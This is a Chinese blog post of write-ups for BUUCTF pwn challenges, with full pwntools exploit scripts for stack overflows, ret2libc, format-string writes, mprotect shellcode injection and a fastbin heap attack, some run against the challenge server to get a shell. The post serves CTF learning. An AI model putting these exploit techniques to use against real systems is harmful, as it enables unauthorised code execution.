0x000.绪论 BUUCTF 是一个巨型CTF题库,大致可以类比OIer们的洛谷一样的地方,在BUUCTF上有着分类齐全数量庞大的各方向题目,包括各大CTF的原题
正所谓”不刷BUU非CTFer“(哪里有过这种奇怪的话啦),作为一名新晋的蒟蒻CTFer&网安专业选手,咱也来做一做BUUCTF上的题,并把题解在博客上存档一份方便后来者学习(快醒醒,哪里会有人看你的博客啦XD
Baby Pwner做的都是pwn题,点开即可查看题解👇
注:我会在题目的旁边写上考点
0x001.test your nc - nc 拖入IDA分析,发现一运行就能直接getshell
nc,成功getshell,得flag
0x002.rip - ret2text 惯例的checksec
,保护全关
主函数使用了gets函数,存在栈溢出,偏移量为0xf+8个字节
可以发现直接存在一个system("/bin/sh")
,返回到这里即可getshell
构造payload如下:
1 2 3 4 5 6 from pwn import *payload = b'A' * (0xf + 8 ) + p64(0x40118a ) p = process('./rip' ) p.sendline(payload) p.interactive()
输入我们的payload
,直接getshell,得到flag
0x003.warmup_csaw_2016 - ret2text 惯例checksec
,保护全关,可以为所欲为
拖入IDA,发现可以溢出的gets
函数,偏移量是0x40+8个字节
又发现一个可以获得flag的gadgetsystem("cat flag.txt")
,控制程序返回到这里即可获得flag
故构造payload如下:
1 2 3 4 5 6 from pwn import *payload = b'A' * (0x40 + 8 ) + p64(0x400611 ) p = process('./warm_up_2016' ) p.sendline(payload) p.interactive()
输入我们的payload,得到flag
0x004.pwn1_sctf_2016 - ret2text 惯例的checksec
,发现只开了NX保护
拖入IDA看一下,然后你就会发现C++逆向出来的东西比**还**
我们不难看出replace函数是在该程序中的一个比较关键的函数,我们先进去简单看看:
简单通读一下我们大概知道这段代码的运行过程如下:(不就是**🐎有什么读不懂的,干他就完事了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 std::string *__stdcall replace (std::string *a1, std::string *a2, std::string *a3, std::string *a4) { int v4; int v5; int v6; char v8; char v9; char v10; int v11; char v12; int v13; int v14; char v15; int v16; int v17; char v18; int v19; char v20; int v21; char v22; char v23; while ( std::string::find (a2, a3, 0 ) != -1 ) { std::allocator<char >::allocator (&v10); v11 = std::string::find (a2, a3, 0 ); std::string::begin (&v12); __gnu_cxx::__normal_iterator<char *,std::string>::operator +(&v13); std::string::begin (&v14); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v9, v14, v13, &v10); std::allocator<char >::~allocator (&v10, v4); std::allocator<char >::allocator (&v15); std::string::end (&v16); v17 = std::string::length (a3); v19 = std::string::find (a2, a3, 0 ); std::string::begin (&v20); __gnu_cxx::__normal_iterator<char *,std::string>::operator +(&v18); __gnu_cxx::__normal_iterator<char *,std::string>::operator +(&v21); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v8, v21, v16, &v15); std::allocator<char >::~allocator (&v15, v5); std::operator +<char ,std::char_traits<char >,std::allocator<char >>(&v23, &v9, a4); std::operator +<char ,std::char_traits<char >,std::allocator<char >>(&v22, &v23, &v8); std::string::operator =(a2, &v22, v6); std::string::~string (&v22); std::string::~string (&v23); std::string::~string (&v8); std::string::~string (&v9); } std::string::string (a1, a2); return a1; }
我们可以大概知道replace函数的作用其实是把输入的字符串中的所有字串A替换成字符串B再重新生成新的字符串 ,而在vuln函数中A即为"I"
,B即为"you"
。
重新回到vuln
函数,我们发现依然看不懂这段代码到底干了啥
这个时候其实我们可以选择看汇编代码进行辅助阅读(C++逆向出来的东西真的太**了
简单结合一下汇编代码与逆向出来的C++代码,我们容易知道该段代码的作用,如下图注释所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 fgets (&s, 32 , edata); std::string::operator =(&input, &s); std::allocator<char >::allocator ((int )&v8); std::string::string ((int )&v7, (int )"you" , (int )&v8); std::allocator<char >::allocator ((int )&v10); std::string::string ((int )&v9, (int )"I" , (int )&v10); replace ((std::string *)&v6, (std::string *)&input, (std::string *)&v9);std::string::operator =(&input, &v6, v0); std::string::~string ((std::string *)&v6); std::string::~string ((std::string *)&v9); std::allocator<char >::~allocator (&v10, v1); std::string::~string ((std::string *)&v7); std::allocator<char >::~allocator (&v8, v2); v3 = (const char *)std::string::c_str ((std::string *)&input); strcpy (&s, v3);
简单运行一下,我们可以发现程序的确会把输入中的I
全部替换成you
同时我们可以看到,溢出大概需要0x3c
个字节,也就是60个字节
我们可以选择使用20个I
作为padding,然后这段padding会被替换成30个you
,刚好60个字节,在后面再覆盖掉ebp与返回地址控制程序返回到get_flag
函数即可得到flag
故构造exp如下:
1 2 3 4 5 6 from pwn import *get_flag_addr = 0x8048fd p = process('./pwn1_sctf_2016' ) payload = b'I' *20 + p32(0xdeadbeef ) + p32(get_flag_addr) p.sendline(payload) p.recv()
发送payload,得到flag
C++逆向是真的kskjklasjdkajskdhasjdgsgdhsgdsajkqpiwourevz
0x005.ciscn_2019_n_1 - overwrite 惯例的checksec
,发现只开了NX保护
拖入IDA进行分析,main中调用了func函数,直接进去看
当v2为11.28125时我们可以获取flag,而gets函数读入到v1存在溢出点可以覆写掉v2
那么问题来了,浮点数11.28125在内存中是如何表示的呢
我们可以直接跳转到这个数据所储存的地方,发现是0x41348000
故构造exp如下:
1 2 3 4 5 from pwn import *p = process('ciscn_2019_n_1' ) payload = b'A' *(0x30 -0xc ) + p64(0x401348000 ) p.sendline(payload) p.recv()
发送payload,得到flag
0x006.ciscn_2019_c_1 - ret2csu + ret2libc 惯例的checksec
,发现只开了NX保护
拖入IDA进行分析
在encrypt()
函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据
不过我们可以发现该函数是使用的strlen()
函数来判断输入的长度,遇到'\x00'
时会终止,而gets()
函数遇到'\x00'
并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00'
,这样我们所输入的payload就不会被程序改变
接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()
函数泄漏出puts()
的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher
获取libc,然后libc的基址、/bin/sh
和system()
的地址就都出来了,配合上csu中的gadget即可getshell
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *e = ELF('./ciscn_2019_c_1' ) offset = 0x50 enc_addr = 0x4009a0 pop_rdi = 0x400c83 retn = 0x400c84 payload1 = '\x00' + b'A' *(offset-1 ) + p64(0xdeafbeef ) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(pop_rdi) + p64(e.got['puts' ]) + p64(e.plt['puts' ]) + p64(enc_addr) p = remote('node3.buuoj.cn' ,27832 ) p.sendline(b'1' ) p.recv() p.sendline(payload1) p.recvuntil('Ciphertext\n\n' ) s = p.recv(6 ) puts_addr = u64(s.ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = '\x00' + b'A' *(offset-1 ) + p64(0xdeadbeef ) + p64(retn) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
运行我们的exp,成功getshell
发生了很多很玄学的问题(👈其实就是李粗心大意罢le),导致这道题虽然早就有了思路,但是用的时间比预期要长的多
以及LibcSearcher在本地无法getshell,换成本地的libc就好了(玄学问题变多了(其实只是LibcSearcher库不全⑧))
以及Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了(确信)
0x007.[OGeek2019]babyrop - ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析:
main函数首先会获取一个随机数,传入sub_804871F()
中
该函数会将随机数作为字符串输出到s,之后读取最大0x20个字节的输入到v6,用strlen()
计算v6长度存到v1并与s比对v1个字节,若不相同则直接退出程序
考虑到strlen()
函数以'\x00'
字符作为结束标识符,故我们只需要在输入前放上一个'\x00'
即可避开这个检测
之后会将v5的数值返回到主函数并作为参数又给到sub_80487D0()
函数,简单看一下我们便可以发现该函数读取最大v5个字节的输入到buf
中,而buf
距离ebp
只有0xe7个字节
由于没有可以直接getshell的函数,故考虑在第一次输入时将v5覆写为0xff
以保证能够读取的输入长度最大,在第二次输入时构造rop链使用write函数泄露write的地址,再使用libcsearcher得到libc基址与system()
和"/bin/sh"
字符串的地址,最后构造rop链调用system("/bin/sh")
即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *e = ELF('./pwn' ) write_plt = e.plt['write' ] write_got = e.got['write' ] payload1 = b'\x00' + 7 * b'\xff' payload2 = b'A' * 0xe7 + p32(0xdeadbeef ) + p32(write_plt) + p32(0x80487d0 ) + p32(0x1 ) + p32(write_got) + p32(0x8 ) p = process('./pwn' ) p.sendline(payload1) p.recvuntil(b'Correct\n' ) p.sendline(payload2) write_addr = u32(p.recv(4 )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) sys_addr = libc_base + libc.dump('system' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) payload3 = b'A' *0xe7 + p32(0xdeadbeef ) + p32(sys_addr) + p32(0xdeadbeef ) + p32(sh_addr) p.sendline(payload3) p.interactive()
运行脚本即可getshell
0x008.jarvisoj_level0 - ret2text
好多重复考点的简单题啊…
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析,可以发现存在一个可以溢出的函数vulnerable_function()
,只需要0x80
个字节即可溢出
同时存在一个可以直接getshell的函数callsystem()
直接构造payload覆写返回地址到callsystem()
函数即可getshell
exp如下:
1 2 3 4 5 6 7 8 from pwn import *payload = b'A' *0x80 + p64(0xdeadbeef ) + p64(0x400596 ) p = process('level0' ) p.recv() p.sendline(payload) p.interactive()
0x009.ciscn_2019_en_2 - ret2csu + ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析感觉这题好像在哪个地方做过的样子(ciscn_2019_c_1)
在encrypt()
函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据
不过我们可以发现该函数是使用的strlen()
函数来判断输入的长度,遇到'\x00'
时会终止,而gets()
函数遇到'\x00'
并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00'
,这样我们所输入的payload就不会被程序改变
接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()
函数泄漏出puts()
的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher
获取libc,然后libc的基址、/bin/sh
和system()
的地址就都出来了,配合上csu中的gadget即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn' ,25348 ) e = ELF('./ciscn_2019_en_2' ) puts_plt = e.plt['puts' ] puts_got = e.got['puts' ] main_addr = 0x400b28 pop_rdi_ret = 0x400c83 retn = 0x400c84 offset = 0x50 payload1 = b'\x00' + b'A' *(offset-1 ) + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recv() p.sendline('1' ) p.recv() p.sendline(payload1) p.recvuntil('text\n\n' ) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) payload2 = b'\x00' + b'A' *(offset-1 ) + p64(0xdeadbeef ) + p64(retn) +p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline('1' ) p.sendline(payload2) p.interactive()
需要注意的是Ubuntu 18有的时候会存在栈无法对齐的情况,可以多使用几次retn
的gadget来对其栈
0x00A.[第五空间2019 决赛]PWN5 - fmtstr 惯例的checksec
,发现开了NX保护和canary
拖入IDA进行分析:
该程序获取一个随机数,读入到0x804c044
上,随后两次读入用户输入并判断第二次输入与随机数是否相同,相同则可以获得shell
我们可以发现存在格式化字符串漏洞 ,可以进行任意地址读与任意地址写 ,故考虑将0x804c044
地址上的随机数覆写为我们想要的值,随后直接输入我们覆写的值即可getshell
同时我们简单的跑一下这个程序就可以知道格式字符串是位于栈上的第10个参数(”aaaa” == 0x61616161)
我们可以使用pwntools中的fmtstr_payload()
来比较方便地构造能够进行任意地址写的payload
具体用法可以百度,这里就不再摘抄一遍了
故构造exp如下:
1 2 3 4 5 6 7 8 from pwn import *payload = fmtstr_payload(10 ,{0x804c044 :0x1 }) p = process('./pwn' ) p.sendline(payload) p.sendline(str (0x1 )) p.interactive()
0x00B.[BJDCTF 2nd]r2t3 - integer overflow + ret2text 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
主函数中读入最大0x400个字节,但是开辟了0x408字节的空间,无法溢出
同时主函数会将输入传入name_check()
函数中,若通过strlen()
计算出来的长度在4~8个字节之间则会将我们的输入通过strcpy()
拷贝至dest
上,而这里到ebp之间只有0x11
个字节的空间,我们完全可以通过这段代码覆盖掉该函数的返回地址
同时我们可以观察到存在可以直接getshell的后门函数
考虑到在name_check()
函数中用来存放输入长度的变量为8位无符号整型,范围为0~255,故我们只需要输入260个字节便可以发生上溢降使该变量的值上溢为4,绕过判定
故构造exp如下:
1 2 3 4 5 6 7 from pwn import *payload = b'A' *0x11 + p32(0xdeadbeef ) + p32(0x804858b ) + b'A' * (260 - 4 - 4 - 0x11 ) p = process('./r2t3' ) p.sendline(payload) p.interactive()
发送payload即可getshell
0x00C.get_started_3dsctf_2016 - ret2text || ret2shellcode
注:这是一道屑题
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析,可以发现存在一个赤裸裸的gets()
溢出
同时存在一个get_flag()
函数可以获取flag,不过要求参数1为0x308cd64f
,参数2为0x195719d1
解法1:ret2text 32位程序通过栈传参,故构造exp如下:
1 2 3 4 5 6 7 from pwn import *payload = b'A' *0x38 + p32(0x80489A0 ) + p32(0xdeadbeef ) + p32(0x308CD64F ) + p32(0x195719D1 ) p = process('./get_started_3dsctf_2016' ) p.sendline(payload) p.interactive()
不过很明显,出题人的环境很明显有丶小问题🔨🔨🔨,远程跑不通这个payload
问题出在哪呢?该程序尝试打开的是flag.txt
文件,但是平台所自动生成的是flag
文件,故此种方法无法获得flag
我们尝试寻找第二种解法
解法2:ret2shellcode 首先我们发现在程序中编入了大量的函数,其中就包括mprotect()
,可以修改指定内存地址的权限
故考虑使用mprotect()
修改内存段权限为可读可写可运行后在上面写入shellcode并跳转至内存段执行shellcode以getshell
在pwndbg 中使用vmmap
查看可以用的内存段,前面三个段随便选一个就行
需要注意的是我们需要手动将mprotect()
的参数弹出(日常踩坑)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p = process('./get_started_3dsctf_2016' ) e = ELF('./get_started_3dsctf_2016' ) pop_ebx_esi_edi_ebp_ret = 0x804951c mprotect_addr = e.sym['mprotect' ] read_addr = e.sym['read' ] sc_addr = 0x80ec000 offset = 0x38 payload1 = b'A' *offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100 ) + p32(0x7 ) + p32(0xdeadbeef ) + p32(read_addr) + p32(sc_addr) + p32(0 ) + p32(sc_addr) + p32(0x100 ) payload2 = asm(shellcraft.sh()) p.sendline(payload1) sleep(1 ) p.sendline(payload2) p.interactive()
运行脚本即可getshell
0x00D.ciscn_2019_n_8 - overwrite 惯例的checksec
,发现开了栈不可执行、地址随机化、Canary 三大保护(噔 噔 咚
拖入IDA进行分析
使用scanf读入字符串到变量var
,存在漏洞,同时程序会将var的地址转换为一个(_QWORD)类型指针(长度为四字节),并判断var[13]
是否为0x11
,若是则返回一个shell
故考虑直接输入将var[13]
覆写为0x11
即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 from pwn import *payload = b'A' *13 *4 + p32(0x11 ) p = process('./ciscn_2019_n_8' ) p.recv() p.sendline(payload) p.interactive()
0x00E.not_the_same_3dsctf_2016 - ret2shellcode
not the same(指 the same(
惯例的checksec
,发现只开了栈不可执行保护
拖进IDA里康康
主函数中直接存在可以被利用的gets()
函数,同时还给了我们一个提示信息——bora ver se tu ah o bichao memo ,大致可以翻译为:Did you see the wrong note? 看起来似乎没什么用的样子
尝试先使用与前一题相同的思路来解
首先用pwndbg
的vmmap
查看可以用的内存
同时IDA中我们发现程序中依然存在mprotect()
函数可以改写权限
和前一题所不同的是gadget的位置有丶小变化(原来只有这个不同🐎)
故我们可以使用与前一题几乎完全相同的exp 来getshell,只需要把csu里的gadget的地址稍微修改一下即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p = process('./not_the_same_3dsctf_2016' ) e = ELF('./not_the_same_3dsctf_2016' ) pop_ebx_esi_edi_ebp_ret = 0x80494dc mprotect_addr = e.sym['mprotect' ] read_addr = e.sym['read' ] sc_addr = 0x80ea000 offset = 0x2d payload1 = b'A' *offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100 ) + p32(0x7 ) + p32(0xdeadbeef ) + p32(read_addr) + p32(sc_addr) + p32(0 ) + p32(sc_addr) + p32(0x100 ) payload2 = asm(shellcraft.sh()) p.sendline(payload1) sleep(1 ) p.sendline(payload2) p.interactive()
运行脚本即得shell
0x00F.one_gadget - one_gadget
首先从题目名字我们就可以看出这道题应该需要我们用到一个工具——one_gadget
什么是one_gadget?即在libc中存在着的可以直接getshell的gadget
惯例的checksec
,发现保 护 全 开 (心 肺 停 止
拖进IDA里分析
主函数会读入一个整数到函数指针 v4中,并尝试执行v4()
,故我们只需要输入one_gadget 的地址即可getshell
使用one_gadget
工具可以找出libc中的getshell gadget
不明原因在arch上一直没法运行,只好切到Ubuntu
但是我们还需要知道libc的基址
我们可以发现在init()
函数中会输出printf()
函数的地址,有了这个我们便可以计算出libc的基址,也就有了one_gadget的真实地址
而题目也给了我们libc,故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *one_gadget = 0xe237f p = process('./one_gadget' ) e = ELF('./one_gadget' ) libc = ELF('./libc-2.29.so' ) p.recvuntil('here is the gift for u:' ) printf_addr = u64(p.recvuntil('\n' ,drop = True ).ljust(8 ,b'\x00' )) libc_base = printf_addr - libc.sym['printf' ] getshell = libc_base + one_gadget p.sendline(str (getshell)) p.interactive()
0x010.jarvisoj_level2 - ret2text 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
读入最大0x100字节,但是buf
到ebp之间只有0x88字节的空间,存在溢出
同时我们也可以知道该程序中有system()
函数可以利用
同时程序中还存在"/bin/sh"
字符串
故只需要构造rop链执行system("/bin/sh")
即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *p = process('./level2' ) e = ELF('./level2' ) sh_addr = 0x804A024 payload = b'A' *0x88 + p32(0xdeadbeef ) + p32(e.plt['system' ]) + p32(0xdeadbeef ) + p32(sh_addr) p.sendline(payload) p.interactive()
运行即可getshell
0x011.[HarekazeCTF2019]baby_rop - ret2text + ret2csu 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
使用scanf("%s")
读入字符串,存在溢出漏洞
存在system()
函数
存在/bin/sh
字符串
故考虑使用csu中gadget构造rop链执行system("/bin/sh")
函数以getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sh_addr = 0x601048 pop_rdi_ret = 0x400683 p = remote('node3.buuoj.cn' ,27558 ) e = ELF('./babyrop' ) payload = b'A' *0x10 + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(e.sym['system' ]) p.sendline(payload) p.interactive()
运行即得flag
好多一样的题啊Or2
0x012.bjdctf_2020_babystack - ret2text
又是一模一样的题。。。
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
主函数中用户可以控制读入的字符数量,存在溢出
同时存在可以getshell的backdoor()
函数
故考虑构造rop链执行backdoor()
函数即可
构造exp如下
1 2 3 4 5 6 7 8 from pwn import *payload = b'A' *0x10 + p64(0xdeadbeef ) + p64(0x4006e6 ) p = remote('node3.buuoj.cn' ,25806 ) p.sendline(b'100' ) p.sendline(payload) p.interactive()
运行即可getshell
0x013.babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget
来到BUU后做的第一道堆题
惯例的checksec
,发现保 护 全 开 (心 肺 停 止
拖入IDA里进行分析(以下部分函数、变量名经过重命名)
常见的堆题基本上都是菜单题,本题也不例外
我们可以发现在writeHeap()
函数中并没有对我们输入的长度进行检查,存在堆溢出
故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块
利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址
接下来便是fastbin attack:将某个堆块送入fastbin后改写其fd指针为__malloc_hook的地址(__malloc_hook位于main_arena上方0x10字节处),再将该堆块分配回来,此时fastbin中该链表上就会存在一个我们所伪造的位于__malloc_hook上的堆块,申请这个堆块后我们便可以改写malloc_hook上的内容为后门函数地址,最后随便分配一个堆块便可getshell
考虑到题目中并不存在可以直接getshell的后门函数,故考虑使用one_gadget以getshell
需要注意的是fastbin存在size检查,故具体的能够让fake chunk的size刚好为特定值 的那个地址可能位于__malloc_hook上方的某一处,需要我们多次尝试得到偏移量
构造payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *p = remote('node3.buuoj.cn' ,27143 ) libc = ELF('./libc-2.23.so' ) def alloc (size:int ): p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str (size)) def fill (index:int ,content ): p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str (index)) p.recvuntil('Size: ' ) p.sendline(str (len (content))) p.recvuntil('Content: ' ) p.send(content) def free (index:int ): p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str (index)) def dump (index:int ): p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str (index)) p.recvuntil('Content: \n' ) return p.recvline() alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x80 ) free(1 ) free(2 ) payload = p64(0 )*3 + p64(0x21 ) + p64(0 )*3 + p64(0x21 ) + p8(0x80 ) fill(0 ,payload) payload = p64(0 )*3 + p64(0x21 ) fill(3 ,payload) alloc(0x10 ) alloc(0x10 ) payload = p64(0 )*3 + p64(0x91 ) fill(3 ,payload) alloc(0x80 ) free(4 ) main_arena = u64(dump(2 )[:8 ].strip().ljust(8 ,b'\x00' )) - 0x58 malloc_hook = main_arena - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook' ] one_gadget = libc_base + 0x4526a alloc(0x60 ) free(4 ) payload = p64(malloc_hook - 0x23 ) fill(2 ,payload) alloc(0x60 ) alloc(0x60 ) payload = b'A' *0x13 + p64(one_gadget) fill(6 ,payload) alloc(0x10 ) p.interactive()
运行脚本即得flag
0x014.ciscn_2019_n_5 - ret2shellcode 惯例的checksec
,发现近乎保护全关,整挺好
拖入IDA进行分析
![41L`5F__UIYNB_H_YE_DEHD.png](https://i.loli.net/2020/10/09/zTYkWulo1hyLKvB.png )
一开始先向bss段上的name
读入最大0x64
字节的内容,之后再使用gets()
读入到text上,存在栈溢出
故考虑先向name
上写入shellcode再控制程序跳转至name
即可
bss段上name
的地址为0x601080
构造exp如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *context.arch = 'amd64' bss_addr = 0x601080 payload = b'A' *0x20 + p64(0xdeadbeef ) + p64(bss_addr) p = process('./ciscn_2019_n_5' ) p.sendline(asm(shellcraft.sh())) p.sendline(payload) p.interactive()
运行,成功getshell
0x015.level2_x64 - ret2csu 惯例的checksec
,发现只开了NX保护
拖入IDA进行分析
在vulnerable_function()
处存在栈溢出,且存在system()
函数
在.data段存在"/bin/sh"
字符串
故考虑构造rop链执行system("/bin/sh")
即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *sh_addr = 0x600A90 pop_rdi_ret = 0x4006B3 call_sys = 0x400603 payload = b'A' *0x80 + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(call_sys) p = process('./level2_x64' ) p.sendline(payload) p.interactive()
运行脚本即得flag
0x016.ciscn_2019_ne_5 - ret2text 惯例的checksec
,发现只开了NX保护
拖入IDA进行分析
看起来长得像堆题但其实完全没有堆的操作,还是传统的栈题
在AddLog()
函数中读入最大128字节到字符串src
中
![UXHLHKU0D9MFLEY3MJK_`QT.png](https://i.loli.net/2020/10/09/TREtZOFSvhdqVup.png )
在GetFlag()
函数中会拷贝src
到dest
上,存在栈溢出
同时程序中存在system()
函数与sh
字符串
![X0WS9USGGKI`WCZK0_J80_7.png](https://i.loli.net/2020/10/09/a7OuQVLPsSAMd85.png )
故直接溢出控制程序执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh_addr = 0x80482ea call_sys = 0x80486b9 payload = b'A' *0x48 + p32(0xdeadbeef ) + p32(call_sys) + p32(sh_addr) p = process('./ciscn_2019_ne_5' ) p.sendline(b'administrator' ) p.sendline(b'1' ) p.sendline(payload) p.sendline(b'4' ) p.interactive()
运行即可getshell
![L_YGD`OM1C_L_RJ~7__23SD.png](https://i.loli.net/2020/10/09/TUIEloeFPhfsXqC.png )
0x017.ciscn_2019_s_3 - ret2csu || SROP
应某位可爱的女师傅 的要求先来做这道题(((
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析:
可以看到,main()
函数会调用vuln()
函数,在vuln()
函数中会调用两个系统调用 ——0号系统调用sys_read
读入最大0x400 个字节到buf上,buf只分配到了0x10 个字节的空间,存在栈溢出;随后调用1号系统调用sys_write
输出buf上的0x30 字节的内容
同时我们还可以观察到有一个没有被用到的gadget()
函数,里面有两条gadget将rax设为0xf或0x3b ,也就是15或59
而syscall
指令从rax寄存器 中读取值并调用相对应的系统调用(从程序本身的代码我们也可以看出这一点),对应的我们可以想到的是这个gadget要我们通过相应的系统调用 来getshell
在64位Linux下,15号系统调用是rt_sigreturn ,而59号系统调用则是我们所熟悉的execve ,那么这个系统调用该怎么利用呢我暂且蒙在古里
系统调用一览表见这里
考虑到在vuln()
函数中只分配了0x10
个字节的空间给buf,但是后面的系统调用write
会输出0x30个字节的内容,即除了我们的输入之外还会打印一些栈上的内容,其中前0x20个字节的内容分别为:0x10字节的buf、8字节的old_rbp(作为返回地址)、8字节的main函数中的call vuln
指令的下一条指令的地址,剩下的0x10个字节则是栈上的一些其他的内容
我们使用gdb进行调试看看是什么内容:
可以看到0x7fffffffdc60
上储存的内容即为old_rbp
,0x7fffffffdc68
上储存的内容为main函数中的call vuln
指令的下一条指令的地址,而0x7fffffffdc70
上储存的则是一个地址 ,我们很容易计算得出其与栈基址间的偏移量为0x7fffffffdd78 - 0x7fffffffdc60 = 0x118
那么我们只需要读取这个值再减去偏移量便可以得到栈基址的地址
解法1:ret2csu 考虑到存在59号系统调用execve ,故考虑构造rop链通过execve("/bin/sh",0,0)
以getshell
文件中不存在"/bin/sh"
字符串,由于栈基址可知,故考虑手动输入到栈上
这里我们使用csu中的gadget先将r13、r14置为0,之后再mov rdx,r13;mov rsi,r14
将rsi和rdx置为0
由于这个gadget运行到后面会执行call [r12 + 8*rsp]
(rsp已被置0,故实际效果是执行```call [r12]``),故我们还需要在r12内放入一个存有适合指令的地址的地址,这里由于此前我们已经获得了一个栈上地址,故考虑直接在栈上放一个带有ret的gadget的地址后将r12置为该栈上地址即可继续控制程序执行流,需要注意的是call指令会往栈上压入当前的下一条指令的地址,我们还需要将之弹出栈
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *mov_rax_59_ret = 0x4004e2 pop_rdi_ret = 0x4005a3 pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40059a mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12 = 0x400580 vuln_addr = 0x4004ed syscall = 0x400517 payload1 = b'A' *0x10 + p64(vuln_addr) p = remote('node3.buuoj.cn' ,28147 ) p.sendline(payload1) p.recv(0x20 ) stack_addr = u64(p.recv(8 ))-0x118 sh_addr = stack_addr + 8 log.info(hex (sh_addr)) payload2 = p64(pop_rdi_ret) + b'/bin/sh\x00' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) payload2 += p64(0 ) + p64(0 ) + p64(stack_addr) + p64(0 ) + p64(0 ) + p64(0 ) payload2 += p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12) payload2 += p64(mov_rax_59_ret) + p64(pop_rdi_ret) + p64(sh_addr) payload2 += p64(syscall) p.sendline(payload2) p.interactive()
运行脚本即可getshell
解法2:SROP
试了好几种姿势都没弄出来,离谱
